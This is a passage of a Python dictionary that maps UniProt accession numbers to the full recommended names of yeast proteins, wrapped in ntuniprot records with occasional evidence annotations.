'Q04233' : ntuniprot(RecName_Full='Protein GIS4'),
'Q04235' : ntuniprot(RecName_Full='tRNA wybutosine-synthesizing protein 2'),
'Q04264' : ntuniprot(RecName_Full='Sister chromatid cohesion protein PDS5'),
'Q04272' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 20'),
'Q04279' : ntuniprot(RecName_Full='Eisosome protein SEG1'),
'Q04299' : ntuniprot(RecName_Full="Probable ADP-ribose 1''-phosphate phosphatase YML087W"),
'Q04301' : ntuniprot(RecName_Full='Vacuolar basic amino acid transporter 1'),
'Q04304' : ntuniprot(RecName_Full='UPF0659 protein YMR090W'),
'Q04305' : ntuniprot(RecName_Full='U3 small nucleolar RNA-associated protein 15'),
'Q04307' : ntuniprot(RecName_Full='DNA-directed RNA polymerase III subunit RPC10'),
'Q04311' : ntuniprot(RecName_Full='Protein VMS1'),
'Q04322' : ntuniprot(RecName_Full='Probable GTPase-activating protein GYL1'),
'Q04329' : ntuniprot(RecName_Full='Interacting with cytoskeleton protein 1'),
'Q04336' : ntuniprot(RecName_Full='Uncharacterized protein YMR196W'),
'Q04338' : ntuniprot(RecName_Full='t-SNARE VTI1'),
'Q04341' : ntuniprot(RecName_Full='Mitochondrial intermembrane space cysteine motif-containing protein MIX14'),
'Q04344' : ntuniprot(RecName_Full='Hit family protein 1'),
'Q04347' : ntuniprot(RecName_Full='Bud site selection protein 22'),
'Q04359' : ntuniprot(RecName_Full='Sporulation-specific protein 20'),
'Q04364' : ntuniprot(RecName_Full='TPR repeat-containing protein YMR018W'),
'Q04368' : ntuniprot(RecName_Full='Cop9 signalosome-interactor 1'),
'Q04370' : ntuniprot(RecName_Full='Peroxisome assembly protein 12'),
'Q04371' : ntuniprot(RecName_Full='Protein-glutamate O-methyltransferase {ECO:0000250|UniProtKB:Q9H993}'),
'Q04372' : ntuniprot(RecName_Full='Type 2A phosphatase-associated protein 42'),
'Q04373' : ntuniprot(RecName_Full='Pumilio homology domain family member 6'),
'Q04377' : ntuniprot(RecName_Full='DNA damage checkpoint protein LCD1'),
'Q04383' : ntuniprot(RecName_Full='Protein PLM2'),
'Q04396' : ntuniprot(RecName_Full='Lipid phosphate phosphatase 1'),
'Q04398' : ntuniprot(RecName_Full='Stationary phase protein 3'),
'Q04399' : ntuniprot(RecName_Full='Putative multicopper oxidase GMC1'),
'Q04401' : ntuniprot(RecName_Full='Succinate dehydrogenase assembly factor 3, mitochondrial {ECO:0000303|PubMed:24954417}'),
'Q04406' : ntuniprot(RecName_Full='Early meiotic induction protein 1'),
'Q04408' : ntuniprot(RecName_Full='Uncharacterized protein YDR514C'),
'Q04409' : ntuniprot(RecName_Full='Putative glucokinase-2'),
'Q04410' : ntuniprot(RecName_Full='GRASP65 homolog protein 1'),
'Q04411' : ntuniprot(RecName_Full='Uracil catabolism protein 2'),
'Q04412' : ntuniprot(RecName_Full='ADP-ribosylation factor GTPase-activating protein effector protein 1'),
'Q04418' : ntuniprot(RecName_Full='RNA polymerase II-associated protein RBA50'),
'Q04429' : ntuniprot(RecName_Full='Protein HLR1'),
'Q04430' : ntuniprot(RecName_Full='Pantothenate kinase CAB1'),
'Q04431' : ntuniprot(RecName_Full='Spindle pole body component KRE28'),
'Q04432' : ntuniprot(RecName_Full='Glutathione-independent glyoxalase HSP31 {ECO:0000303|PubMed:24302734}'),
'Q04433' : ntuniprot(RecName_Full='Facilitator of iron transport 1'),
'Q04437' : ntuniprot(RecName_Full='ATP-dependent DNA helicase II subunit 2'),
'Q04438' : ntuniprot(RecName_Full='Stationary phase protein 4'),
'Q04439' : ntuniprot(RecName_Full='Myosin-5'),
'Q04458' : ntuniprot(RecName_Full='Fatty aldehyde dehydrogenase HFD1'),
'Q04461' : ntuniprot(RecName_Full='Uncharacterized protein YMR111C'),
'Q04471' : ntuniprot(RecName_Full='Putative peptidase YMR114C'),
'Q04472' : ntuniprot(RecName_Full='Mitochondrial inner membrane i-AAA protease supercomplex subunit MGR3'),
'Q04477' : ntuniprot(RecName_Full='Kinetochore protein SPC24'),
'Q04487' : ntuniprot(RecName_Full='Mitochondrial inner membrane protein SHH3 {ECO:0000305}'),
'Q04489' : ntuniprot(RecName_Full='Asparagine synthetase domain-containing protein YML096W'),
'Q04491' : ntuniprot(RecName_Full='Protein transport protein SEC13'),
'Q04493' : ntuniprot(RecName_Full='Prefoldin subunit 5'),
'Q04500' : ntuniprot(RecName_Full='U3 small nucleolar RNA-associated protein 14'),
'Q04511' : ntuniprot(RecName_Full='Ubiquitin ligase complex F-box protein UFO1'),
'Q04516' : ntuniprot(RecName_Full='Uncharacterized oxidoreductase AIM33'),
'Q04526' : ntuniprot(RecName_Full='Putative uncharacterized protein YML083C'),
'Q04533' : ntuniprot(RecName_Full='Putative cystathionine gamma-synthase YML082W'),
'Q04545' : ntuniprot(RecName_Full='Probable transcription factor TDA9'),
'Q04549' : ntuniprot(RecName_Full='Actin-like protein ARP10'),
'Q04562' : ntuniprot(RecName_Full='Transmembrane 9 superfamily member 2'),
'Q04585' : ntuniprot(RecName_Full='Uncharacterized sugar kinase YDR109C'),
'Q04597' : ntuniprot(RecName_Full='Uncharacterized protein YDR114C'),
'Q04598' : ntuniprot(RecName_Full='54S ribosomal protein L34, mitochondrial'),
'Q04599' : ntuniprot(RecName_Full='54S ribosomal protein L1, mitochondrial'),
'Q04600' : ntuniprot(RecName_Full='Translation machinery-associated protein 64'),
'Q04601' : ntuniprot(RecName_Full='Anaphase-promoting complex subunit 4'),
'Q04602' : ntuniprot(RecName_Full='Vacuolar basic amino acid transporter 4'),
'Q04603' : ntuniprot(RecName_Full='DNA polymerase epsilon subunit D'),
'Q04608' : ntuniprot(RecName_Full='Uncharacterized protein YDR124W'),
'Q04623' : ntuniprot(RecName_Full='Protein ECM18'),
'Q04629' : ntuniprot(RecName_Full='Palmitoyltransferase SWF1'),
'Q04632' : ntuniprot(RecName_Full='Conserved oligomeric Golgi complex subunit 8'),
'Q04636' : ntuniprot(RecName_Full='FACT complex subunit POB3'),
'Q04638' : ntuniprot(RecName_Full='Translation termination inhibitor protein ITT1'),
'Q04651' : ntuniprot(RecName_Full='ER-derived vesicles protein ERV41'),
'Q04658' : ntuniprot(RecName_Full='Spore membrane assembly protein 2'),
'Q04659' : ntuniprot(RecName_Full='Chromosome segregation in meiosis protein 3'),
'Q04660' : ntuniprot(RecName_Full='Ribosome biogenesis protein ERB1 {ECO:0000255|HAMAP-Rule:MF_03027}'),
'Q04670' : ntuniprot(RecName_Full='Transposon Ty1-MR2 Gag-Pol polyprotein'),
'Q04673' : ntuniprot(RecName_Full='General transcription and DNA repair factor IIH subunit SSL1'),
'Q04675' : ntuniprot(RecName_Full='tRNA-splicing endonuclease subunit SEN15'),
'Q04689' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 32'),
'Q04693' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor RSE1'),
'Q04697' : ntuniprot(RecName_Full='Glucose-signaling factor 2'),
'Q04705' : ntuniprot(RecName_Full='Pheromone-regulated membrane protein 6'),
'Q04706' : ntuniprot(RecName_Full='Transposon Ty1-ML1 Gag polyprotein'),
'Q04711' : ntuniprot(RecName_Full='Transposon Ty1-ML1 Gag-Pol polyprotein'),
'Q04712' : ntuniprot(RecName_Full='RNA polymerase I-specific transcription initiation factor RRN11'),
'Q04728' : ntuniprot(RecName_Full='Arginine biosynthesis bifunctional protein ArgJ, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03124}'),
'Q04734' : ntuniprot(RecName_Full='pH-response regulator protein palI/RIM9'),
'Q04739' : ntuniprot(RecName_Full='SNF1 protein kinase subunit beta-3'),
'Q04740' : ntuniprot(RecName_Full='Ribonuclease H'),
'Q04746' : ntuniprot(RecName_Full='Nuclear fusion protein KAR5'),
'Q04748' : ntuniprot(RecName_Full='Protein SOV1, mitochondrial'),
'Q04749' : ntuniprot(RecName_Full='Target of rapamycin complex 2 subunit AVO2'),
'Q04751' : ntuniprot(RecName_Full='N-alpha-acetyltransferase 40 {ECO:0000250|UniProtKB:Q86UY6}'),
'Q04767' : ntuniprot(RecName_Full='Golgi apparatus membrane protein TVP18'),
'Q04772' : ntuniprot(RecName_Full='Increased recombination centers protein 21'),
'Q04773' : ntuniprot(RecName_Full='Uncharacterized protein YMR074C'),
'Q04779' : ntuniprot(RecName_Full='Transcriptional regulatory protein RCO1'),
'Q04781' : ntuniprot(RecName_Full='E3 ubiquitin-protein ligase listerin {ECO:0000303|PubMed:20835226}'),
'Q04792' : ntuniprot(RecName_Full='Glutamate decarboxylase'),
'Q04806' : ntuniprot(RecName_Full='Glutathione S-transferase omega-like 3'),
'Q04814' : ntuniprot(RecName_Full='Uncharacterized protein YMR252C'),
'Q04835' : ntuniprot(RecName_Full='Uncharacterized membrane protein YMR253C'),
'Q04839' : ntuniprot(RecName_Full='mRNA transport factor GFD1'),
'Q04847' : ntuniprot(RecName_Full='Non-SCF-type F-box protein ROY1'),
'Q04867' : ntuniprot(RecName_Full='Putative methyltransferase YMR310C {ECO:0000305}'),
'Q04868' : ntuniprot(RecName_Full='Elongator complex protein 6'),
'Q04869' : ntuniprot(RecName_Full='Uncharacterized protein YMR315W'),
'Q04893' : ntuniprot(RecName_Full='Uncharacterized protein YMR317W'),
'Q04894' : ntuniprot(RecName_Full='NADP-dependent alcohol dehydrogenase 6'),
'Q04895' : ntuniprot(RecName_Full='Allantoin permease'),
'Q04898' : ntuniprot(RecName_Full='Putative uncharacterized protein YMR321C'),
'Q04902' : ntuniprot(RecName_Full='Probable glutathione-independent glyoxalase SNO4 {ECO:0000250|UniProtKB:Q04432}'),
'Q04921' : ntuniprot(RecName_Full='Sporulation-regulated protein 28'),
'Q04922' : ntuniprot(RecName_Full='Mitochondrial F-box protein MFB1'),
'Q04924' : ntuniprot(RecName_Full='Glucosidase 2 subunit beta'),
'Q04925' : ntuniprot(RecName_Full='SVF1-like protein YDR222W'),
'Q04930' : ntuniprot(RecName_Full='Transcription factor CRF1'),
'Q04934' : ntuniprot(RecName_Full='Protein IVY1'),
'Q04935' : ntuniprot(RecName_Full='Cytochrome c oxidase assembly protein COX20, mitochondrial'),
'Q04947' : ntuniprot(RecName_Full='Reticulon-like protein 1'),
'Q04949' : ntuniprot(RecName_Full='Cytoplasmic dynein intermediate light chain DYN3'),
'Q04951' : ntuniprot(RecName_Full='Probable family 17 glucosidase SCW10'),
'Q04952' : ntuniprot(RecName_Full='1,3-beta-glucan synthase component FKS3'),
'Q04958' : ntuniprot(RecName_Full='Lysophospholipase NTE1'),
'Q04964' : ntuniprot(RecName_Full='Ribonucleotide reductase inhibitor protein SML1'),
'Q04969' : ntuniprot(RecName_Full='Signal peptidase complex subunit SPC2'),
'Q04978' : ntuniprot(RecName_Full='Uncharacterized protein YML053C'),
'Q04991' : ntuniprot(RecName_Full='Protein FMP42'),
'Q05015' : ntuniprot(RecName_Full='Family of serine hydrolases 2'),
'Q05016' : ntuniprot(RecName_Full='NADP-dependent 3-hydroxy acid dehydrogenase {ECO:0000303|PubMed:12535615}'),
'Q05021' : ntuniprot(RecName_Full='Transcription initiation factor TFIID subunit 7'),
'Q05022' : ntuniprot(RecName_Full='rRNA biogenesis protein RRP5'),
'Q05024' : ntuniprot(RecName_Full='Protein TRI1'),
'Q05027' : ntuniprot(RecName_Full='Transcription initiation factor TFIID subunit 9'),
'Q05029' : ntuniprot(RecName_Full='Protein BCH1'),
'Q05031' : ntuniprot(RecName_Full='Mannan endo-1,6-alpha-mannosidase DFG5'),
'Q05040' : ntuniprot(RecName_Full='Factor arrest protein 8'),
'Q05043' : ntuniprot(RecName_Full='Respiration factor 1'),
'Q05050' : ntuniprot(RecName_Full='Eisosome protein 1'),
'Q05080' : ntuniprot(RecName_Full='Cytokinesis protein 2'),
'Q05123' : ntuniprot(RecName_Full='Actin-like protein ARP9'),
'Q05131' : ntuniprot(RecName_Full='Uncharacterized membrane protein YMR034C'),
'Q05164' : ntuniprot(RecName_Full='Haze protective factor 1'),
'Q05166' : ntuniprot(RecName_Full='Nucleoporin ASM4'),
'Q05359' : ntuniprot(RecName_Full='Protein ERP1'),
'Q05451' : ntuniprot(RecName_Full='Putative uncharacterized protein YHR050W-A'),
'Q05468' : ntuniprot(RecName_Full='Ribosome quality control complex subunit 1 {ECO:0000303|PubMed:23178123}'),
'Q05471' : ntuniprot(RecName_Full='Helicase SWR1'),
'Q05473' : ntuniprot(RecName_Full='MIOREX complex component 8 {ECO:0000305|PubMed:25683707}'),
'Q05497' : ntuniprot(RecName_Full='Uncharacterized transporter YDR338C'),
'Q05498' : ntuniprot(RecName_Full='rRNA-processing protein FCF1'),
'Q05506' : ntuniprot(RecName_Full='Arginine--tRNA ligase, cytoplasmic'),
'Q05515' : ntuniprot(RecName_Full='Survival factor 1'),
'Q05518' : ntuniprot(RecName_Full='Protein PAL1'),
'Q05521' : ntuniprot(RecName_Full='Diacylglycerol pyrophosphate phosphatase 1'),
'Q05530' : ntuniprot(RecName_Full='Glutaredoxin-like protein YDR286C'),
'Q05533' : ntuniprot(RecName_Full='Inositol monophosphatase 2'),
'Q05541' : ntuniprot(RecName_Full='Non-structural maintenance of chromosome element 3'),
'Q05543' : ntuniprot(RecName_Full='Regulator of Ty1 transposition protein 103'),
'Q05549' : ntuniprot(RecName_Full='ATP-dependent helicase HRQ1 {ECO:0000305}'),
'Q05567' : ntuniprot(RecName_Full='Sphingosine-1-phosphate lyase'),
'Q05568' : ntuniprot(RecName_Full='Peroxisome biogenesis factor 10'),
'Q05580' : ntuniprot(RecName_Full='E3 ubiquitin-protein ligase HEL2 {ECO:0000305|PubMed:22570702}'),
'Q05583' : ntuniprot(RecName_Full='Cytosolic iron-sulfur protein assembly protein 1'),
'Q05584' : ntuniprot(RecName_Full='Hydroxyacylglutathione hydrolase, cytoplasmic isozyme'),
'Q05610' : ntuniprot(RecName_Full='Donuts protein 1'),
'Q05611' : ntuniprot(RecName_Full='Bypass of stop codon protein 2'),
'Q05635' : ntuniprot(RecName_Full='Ribonuclease H2 subunit B'),
'Q05636' : ntuniprot(RecName_Full='Exosome complex component RRP45'),
'Q05637' : ntuniprot(RecName_Full='Phosphate metabolism protein 6'),
'Q05648' : ntuniprot(RecName_Full='MIOREX complex component 10 {ECO:0000305|PubMed:25683707}'),
'Q05670' : ntuniprot(RecName_Full='Nuclear fusion protein FUS2'),
'Q05672' : ntuniprot(RecName_Full='RNA-binding suppressor of PAS kinase protein 1'),
'Q05676' : ntuniprot(RecName_Full='Protein SOM1, mitochondrial'),
'Q05775' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor 3 subunit J {ECO:0000255|HAMAP-Rule:MF_03009}'),
'Q05776' : ntuniprot(RecName_Full='Protein UPS1, mitochondrial'),
'Q05777' : ntuniprot(RecName_Full='Cell wall protein YLR194C'),
'Q05778' : ntuniprot(RecName_Full='Proteasome chaperone 1'),
'Q05779' : ntuniprot(RecName_Full='Ubiquinone biosynthesis protein COQ9, mitochondrial'),
'Q05785' : ntuniprot(RecName_Full='Epsin-2'),
'Q05787' : ntuniprot(RecName_Full='ERAD-associated E3 ubiquitin-protein ligase component HRD3'),
'Q05788' : ntuniprot(RecName_Full='Purine nucleoside phosphorylase'),
'Q05789' : ntuniprot(RecName_Full='Autophagy-related protein 38 {ECO:0000303|PubMed:24165940}'),
'Q05790' : ntuniprot(RecName_Full='Probable glycosidase CRR1'),
'Q05791' : ntuniprot(RecName_Full='Cell division cycle protein 123'),
'Q05809' : ntuniprot(RecName_Full='Cytochrome oxidase assembly factor 4'),
'Q05812' : ntuniprot(RecName_Full='Meiotic sister-chromatid recombination protein 3'),
'Q05827' : ntuniprot(RecName_Full='Protein HOR7'),
'Q05854' : ntuniprot(RecName_Full='Uncharacterized transcriptional regulatory protein YLR278C'),
'Q05863' : ntuniprot(RecName_Full='Uncharacterized peptide chain release factor-like protein YLR281C, mitochondrial'),
'Q05867' : ntuniprot(RecName_Full='Uncharacterized protein YLR283W, mitochondrial'),
'Q05871' : ntuniprot(RecName_Full='3,2-trans-enoyl-CoA isomerase'),
'Q05874' : ntuniprot(RecName_Full='Protein N-terminal and lysine N-methyltransferase EFM7 {ECO:0000255|HAMAP-Rule:MF_03223, ECO:0000305|PubMed:26545399}'),
'Q05881' : ntuniprot(RecName_Full='Uncharacterized protein YLR287C'),
'Q05892' : ntuniprot(RecName_Full='MIOREX complex component 2 {ECO:0000305|PubMed:25683707}'),
'Q05899' : ntuniprot(RecName_Full='Uncharacterized vacuolar protein YLR297W'),
'Q05900' : ntuniprot(RecName_Full='U1 small nuclear ribonucleoprotein C {ECO:0000255|HAMAP-Rule:MF_03153}'),
'Q05902' : ntuniprot(RecName_Full='Glutathione hydrolase proenzyme'),
'Q05905' : ntuniprot(RecName_Full='Protein HRI1'),
'Q05911' : ntuniprot(RecName_Full='Adenylosuccinate lyase'),
'Q05919' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 38'),
'Q05924' : ntuniprot(RecName_Full='Phosphatase DCR2'),
'Q05926' : ntuniprot(RecName_Full='Glutaredoxin-8'),
'Q05930' : ntuniprot(RecName_Full='Mitochondrial distribution and morphology protein 30'),
'Q05931' : ntuniprot(RecName_Full='Heat shock protein SSQ1, mitochondrial'),
'Q05933' : ntuniprot(RecName_Full='Actin-related protein 2/3 complex subunit 3'),
'Q05934' : ntuniprot(RecName_Full='Vacuolar import and degradation protein 22'),
'Q05937' : ntuniprot(RecName_Full='Zinc finger protein STP3'),
'Q05942' : ntuniprot(RecName_Full='Ribosome assembly protein 3'),
'Q05946' : ntuniprot(RecName_Full='U3 small nucleolar RNA-associated protein 13'),
'Q05947' : ntuniprot(RecName_Full='F-box protein YLR224W'),
'Q05948' : ntuniprot(RecName_Full='Uncharacterized SVF1-like protein YLR225C'),
'Q05949' : ntuniprot(RecName_Full='Protein BUR2'),
'Q05955' : ntuniprot(RecName_Full='Accumulates dyads protein 4'),
'Q05958' : ntuniprot(RecName_Full='Sterol regulatory element-binding protein ECM22'),
'Q05979' : ntuniprot(RecName_Full='Kynureninase {ECO:0000255|HAMAP-Rule:MF_03017}'),
'Q05998' : ntuniprot(RecName_Full='Thiamine transporter'),
'Q06001' : ntuniprot(RecName_Full='Factor arrest protein 10'),
'Q06005' : ntuniprot(RecName_Full='Octanoyltransferase, mitochondrial'),
'Q06010' : ntuniprot(RecName_Full='A-factor-processing enzyme'),
'Q06011' : ntuniprot(RecName_Full='Protein ECM19'),
'Q06032' : ntuniprot(RecName_Full='Chromosome stability protein 9'),
'Q06053' : ntuniprot(RecName_Full='tRNA-dihydrouridine(47) synthase [NAD(P)(+)]'),
'Q06058' : ntuniprot(RecName_Full='Seipin {ECO:0000305|PubMed:18250201}'),
'Q06063' : ntuniprot(RecName_Full='tRNA-dihydrouridine(20a/20b) synthase [NAD(P)+]'),
'Q06070' : ntuniprot(RecName_Full='Uncharacterized protein YLR407W'),
'Q06071' : ntuniprot(RecName_Full='Biogenesis of lysosome-related organelles complex 1 subunit BLS1'),
'Q06078' : ntuniprot(RecName_Full='U3 small nucleolar RNA-associated protein 21'),
'Q06089' : ntuniprot(RecName_Full='Uncharacterized mitochondrial outer membrane protein YPR098C'),
'Q06090' : ntuniprot(RecName_Full='54S ribosomal protein L51, mitochondrial'),
'Q06091' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor SNT309'),
'Q06096' : ntuniprot(RecName_Full='Conserved oligomeric Golgi complex subunit 4'),
'Q06098' : ntuniprot(RecName_Full='Serine/threonine-protein kinase ISR1'),
'Q06102' : ntuniprot(RecName_Full="mRNA 3'-end-processing protein YTH1"),
'Q06103' : ntuniprot(RecName_Full='26S proteasome regulatory subunit RPN7'),
'Q06104' : ntuniprot(RecName_Full='Uncharacterized membrane protein YPR109W'),
'Q06106' : ntuniprot(RecName_Full='Multiple RNA-binding domain-containing protein 1'),
'Q06107' : ntuniprot(RecName_Full='Uncharacterized TLC domain-containing protein YPR114W'),
'Q06108' : ntuniprot(RecName_Full='Regulator of the glycerol channel 1'),
'Q06109' : ntuniprot(RecName_Full='Required for respiratory growth protein 8, mitochondrial'),
'Q06116' : ntuniprot(RecName_Full='Uncharacterized protein YPR117W'),
'Q06132' : ntuniprot(RecName_Full='Suppressor of glycerol defect protein 1'),
'Q06134' : ntuniprot(RecName_Full='Sporulation-specific protein 77'),
'Q06135' : ntuniprot(RecName_Full='1,3-beta-glucanosyltransferase GAS2'),
'Q06137' : ntuniprot(RecName_Full='Putative 6-phosphofructo-2-kinase/fructose-2,6-bisphosphatase YLR345W'),
'Q06139' : ntuniprot(RecName_Full='Uncharacterized protein YLR346C, mitochondrial'),
'Q06142' : ntuniprot(RecName_Full='Importin subunit beta-1 {ECO:0000303|PubMed:9321403}'),
'Q06143' : ntuniprot(RecName_Full='Mitochondrial dicarboxylate transporter'),
'Q06144' : ntuniprot(RecName_Full='Protein ORM2'),
'Q06146' : ntuniprot(RecName_Full='Uncharacterized protein YLR257W'),
'Q06147' : ntuniprot(RecName_Full='Sphingoid long chain base kinase 5'),
'Q06148' : ntuniprot(RecName_Full='Non-homologous end-joining protein 1'),
'Q06149' : ntuniprot(RecName_Full='Transcription factor PDR8'),
'Q06150' : ntuniprot(RecName_Full='Protein BOP2'),
'Q06151' : ntuniprot(RecName_Full='m7GpppX diphosphatase'),
'Q06152' : ntuniprot(RecName_Full='Uncharacterized protein YLR271W'),
'Q06156' : ntuniprot(RecName_Full='Condensin complex subunit 1'),
'Q06159' : ntuniprot(RecName_Full='Autophagy-related protein 39 {ECO:0000303|PubMed:26040717}'),
'Q06160' : ntuniprot(RecName_Full='Protein SPH1'),
'Q06162' : ntuniprot(RecName_Full='Inner kinetochore subunit NKP2 {ECO:0000305}'),
'Q06163' : ntuniprot(RecName_Full='Telomerase reverse transcriptase'),
'Q06164' : ntuniprot(RecName_Full='E3 ubiquitin-protein ligase substrate receptor MMS22'),
'Q06168' : ntuniprot(RecName_Full='Chromatin structure-remodeling complex subunit SFH1'),
'Q06169' : ntuniprot(RecName_Full='Peroxisomal membrane protein PEX30'),
'Q06170' : ntuniprot(RecName_Full='Uncharacterized membrane protein YLR326W'),
'Q06177' : ntuniprot(RecName_Full='Translation machinery-associated protein 10'),
'Q06178' : ntuniprot(RecName_Full='Nicotinamide/nicotinic acid mononucleotide adenylyltransferase 1 {ECO:0000305}'),
'Q06179' : ntuniprot(RecName_Full='Protein FMP27, mitochondrial'),
'Q06188' : ntuniprot(RecName_Full='PWWP domain-containing protein YLR455W'),
'Q06199' : ntuniprot(RecName_Full="Pyridoxamine 5'-phosphate oxidase YLR456W homolog"),
'Q06200' : ntuniprot(RecName_Full='Protein ECM7'),
'Q06201' : ntuniprot(RecName_Full='Grand meiotic recombination cluster protein 2'),
'Q06204' : ntuniprot(RecName_Full='Putative hexokinase YLR446W'),
'Q06205' : ntuniprot(RecName_Full='FK506-binding protein 4 {ECO:0000305|PubMed:9371805}'),
'Q06208' : ntuniprot(RecName_Full='Protein RIF2'),
'Q06211' : ntuniprot(RecName_Full='E3 ubiquitin-protein ligase linker protein MMS1'),
'Q06213' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 10'),
'Q06214' : ntuniprot(RecName_Full='WD repeat-containing protein JIP5'),
'Q06216' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase 1 regulatory subunit PIG1'),
'Q06217' : ntuniprot(RecName_Full='Small nuclear ribonucleoprotein Sm D2'),
'Q06218' : ntuniprot(RecName_Full='ATP-dependent RNA helicase DBP9'),
'Q06224' : ntuniprot(RecName_Full='Endoribonuclease YSH1'),
'Q06235' : ntuniprot(RecName_Full='Protein YLR162W'),
'Q06236' : ntuniprot(RecName_Full='Mitochondrial inner membrane protein SHH4 {ECO:0000305}'),
'Q06244' : ntuniprot(RecName_Full='21S rRNA pseudouridine(2819) synthase'),
'Q06245' : ntuniprot(RecName_Full='Exocyst complex component SEC10'),
'Q06247' : ntuniprot(RecName_Full='Putative uncharacterized protein YLR173W'),
'Q06251' : ntuniprot(RecName_Full='Uncharacterized protein YLR177W'),
'Q06252' : ntuniprot(RecName_Full='Uncharacterized protein YLR179C'),
'Q06263' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein VTA1'),
'Q06266' : ntuniprot(RecName_Full='Protein TOS4'),
'Q06287' : ntuniprot(RecName_Full='Ribosomal RNA small subunit methyltransferase NEP1 {ECO:0000305|PubMed:20972225}'),
'Q06315' : ntuniprot(RecName_Full='Protein SKG3'),
'Q06321' : ntuniprot(RecName_Full='Sterol 3-beta-glucosyltransferase {ECO:0000305|PubMed:10224056}'),
'Q06324' : ntuniprot(RecName_Full='Mitochondrial MYO2 receptor-related protein 1'),
'Q06325' : ntuniprot(RecName_Full='Aspartic proteinase yapsin-7'),
'Q06328' : ntuniprot(RecName_Full='Probable vacuolar amino acid transporter YPQ2'),
'Q06333' : ntuniprot(RecName_Full='Biogenesis of lysosome-related organelles complex 1 subunit CNL1'),
'Q06336' : ntuniprot(RecName_Full='ADP-ribosylation factor-binding protein GGA1'),
'Q06337' : ntuniprot(RecName_Full='Chromatin modification-related protein EAF1'),
'Q06338' : ntuniprot(RecName_Full='Protein BCP1'),
'Q06339' : ntuniprot(RecName_Full='Transcription factor tau 91 kDa subunit'),
'Q06340' : ntuniprot(RecName_Full='Protein ESC2'),
'Q06344' : ntuniprot(RecName_Full='Pre-rRNA-processing protein ESF1'),
'Q06346' : ntuniprot(RecName_Full='Inositol phosphorylceramide synthase regulatory subunit KEI1'),
'Q06349' : ntuniprot(RecName_Full='Decapping and exoribonuclease protein 1'),
'Q06350' : ntuniprot(RecName_Full='Sporulation-specific chitinase 2'),
'Q06385' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 74'),
'Q06389' : ntuniprot(RecName_Full='Calcium-binding protein NCS-1'),
'Q06390' : ntuniprot(RecName_Full='Methylated RNA-binding protein 1'),
'Q06405' : ntuniprot(RecName_Full='ATP synthase subunit f, mitochondrial'),
'Q06406' : ntuniprot(RecName_Full='U6 snRNA-associated Sm-like protein LSm6'),
'Q06407' : ntuniprot(RecName_Full='Rho-type GTPase-activating protein 2'),
'Q06408' : ntuniprot(RecName_Full='Transaminated amino acid decarboxylase'),
'Q06409' : ntuniprot(RecName_Full='DOCK-like protein YLR422W'),
'Q06410' : ntuniprot(RecName_Full='Autophagy-related protein 17'),
'Q06411' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor SPP382'),
'Q06412' : ntuniprot(RecName_Full='Rho1 guanine nucleotide exchange factor TUS1'),
'Q06417' : ntuniprot(RecName_Full='Uncharacterized oxidoreductase TDA5'),
'Q06436' : ntuniprot(RecName_Full='RING-finger protein MAG2'),
'Q06440' : ntuniprot(RecName_Full='Coronin-like protein'),
'Q06449' : ntuniprot(RecName_Full='[PSI+] inducibility protein 3'),
'Q06451' : ntuniprot(RecName_Full='Polyamine transporter 3'),
'Q06466' : ntuniprot(RecName_Full='Putative vacuolar protein sorting-associated protein TDA6'),
'Q06469' : ntuniprot(RecName_Full='Curing of [URE3] protein 1'),
'Q06479' : ntuniprot(RecName_Full='F-box protein YLR352W'),
'Q06485' : ntuniprot(RecName_Full='Autophagy-related protein 33'),
'Q06488' : ntuniprot(RecName_Full='Chromatin structure-remodeling complex subunit RSC2'),
'Q06489' : ntuniprot(RecName_Full='Methylthioribose-1-phosphate isomerase {ECO:0000255|HAMAP-Rule:MF_03119}'),
'Q06490' : ntuniprot(RecName_Full='Thiamine biosynthesis protein THI22'),
'Q06493' : ntuniprot(RecName_Full='LETM1 domain-containing protein YLH47, mitochondrial'),
'Q06494' : ntuniprot(RecName_Full='Putative pyridoxal reductase'),
'Q06497' : ntuniprot(RecName_Full='Peroxisomal adenine nucleotide transporter 1'),
'Q06504' : ntuniprot(RecName_Full='N-terminal acetyltransferase B complex catalytic subunit NAT3'),
'Q06505' : ntuniprot(RecName_Full='Transcription factor SPN1'),
'Q06506' : ntuniprot(RecName_Full='Ribosomal RNA-processing protein 9'),
'Q06508' : ntuniprot(RecName_Full='Lysophosphatidic acid:oleoyl-CoA acyltransferase 1'),
'Q06510' : ntuniprot(RecName_Full='Lysophosphatidylcholine acyltransferase'),
'Q06511' : ntuniprot(RecName_Full='Ribosomal RNA-processing protein 15'),
'Q06512' : ntuniprot(RecName_Full='Nucleolar complex protein 4'),
'Q06522' : ntuniprot(RecName_Full='Uncharacterized protein YPR147C'),
'Q06523' : ntuniprot(RecName_Full='Uncharacterized protein YPR148C'),
'Q06524' : ntuniprot(RecName_Full='Protein SUE1, mitochondrial'),
'Q06525' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor URN1'),
'Q06537' : ntuniprot(RecName_Full='Uncharacterized protein YPR153W'),
'Q06538' : ntuniprot(RecName_Full='Calcium permeable stress-gated cation channel 1'),
'Q06541' : ntuniprot(RecName_Full='Protein ARV1'),
'Q06543' : ntuniprot(RecName_Full='GPN-loop GTPase 3 {ECO:0000303|PubMed:21532343}'),
'Q06549' : ntuniprot(RecName_Full='Cytidine deaminase'),
'Q06551' : ntuniprot(RecName_Full='Palmitoyltransferase ERF2'),
'Q06554' : ntuniprot(RecName_Full='Uncharacterized ATP-dependent helicase IRC20'),
'Q06563' : ntuniprot(RecName_Full='Protein SYM1'),
'Q06567' : ntuniprot(RecName_Full='ABC1 family protein MCP2 {ECO:0000305|PubMed:23781023}'),
'Q06568' : ntuniprot(RecName_Full='Nuclear distribution protein nudE homolog 1'),
'Q06580' : ntuniprot(RecName_Full='Myosin light chain 2'),
'Q06592' : ntuniprot(RecName_Full='Histone acetyltransferase HPA2 {ECO:0000303|PubMed:10600387}'),
'Q06593' : ntuniprot(RecName_Full='Oligopeptide transporter 2'),
